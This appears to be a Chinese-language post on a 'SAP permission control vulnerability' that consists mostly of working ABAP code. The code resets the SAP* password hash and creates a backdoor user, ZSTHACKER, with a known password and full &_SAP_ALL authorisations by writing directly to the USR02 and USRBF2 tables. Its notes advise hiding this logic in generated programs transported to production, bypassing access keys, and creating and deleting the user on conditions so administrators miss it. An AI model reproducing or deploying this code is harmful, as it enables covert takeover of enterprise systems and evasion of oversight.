SAP权限控制漏洞

实际上决定权限的是AuthorizationObject , 看USR_USER_AUTH_FOR_OBJ_GET

和AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.

report ZMODPWD.

tables :usr02 .

*Data ZUSR02 like USR02 .

*select? single * into zUSR02 from USR02

*where BNAME = 'SAP*'.

*ZUSR02-BNAME = 'SAP*'.

*ZUSR02-Bcode = '9C8AB8600E74D864' .

*ZUSR02-UFLAG = '0' ."unlock SAP*

*Update USR02 from ZUSR02? .

update usr02 set bcode = 'DF52478E6FF90EEB'

where BNAME = 'SAP*'.

下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.

Program ZCRTUSER.

Data ZUSR02 like USR02 .

***1Create User ZSTHACKER according to DDIC

select single * into ZUSR02 from USR02

where BNAME = 'DDIC'.

ZUSR02-BNAME = 'ZSTHACKER'.

ZUSR02-Bcode = 'E3B796BB09F7901B' .

insert USR02 from ZUSR02? .

***2Copy Auth. Obj from SAP*(or other)

data ZUSRBF2 like USRBF2 occurs 0 with header line.

select *? from? USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

Loop at ZUSRBF2.

? ZUSRBF2-BNAME = 'ZSTHACKER' .?

? Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

Data Ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj .

loop at ztobj.

? zusrbf2-mandt = sy-mandt.

? zusrbf2-bname = 'ZSTHACKER'.

? zusrbf2-objct = ztobj-objct.

? zusrbf2-auth? ='&_SAP_ALL'.

? modify USRBF2 FROM? zusrbf2 .

[1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key).

[2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现.

Data zusrbf2 like usrbf2.

Select * into zusrbf2 from usrbf2? where bname = 'SAP*' .

Zusrbf2-bname = 'ZSTHACKER' .

Zusrbf2-mandt = '100'.

Insert into usrbf2 client specified values zusrbf2.

Endselect .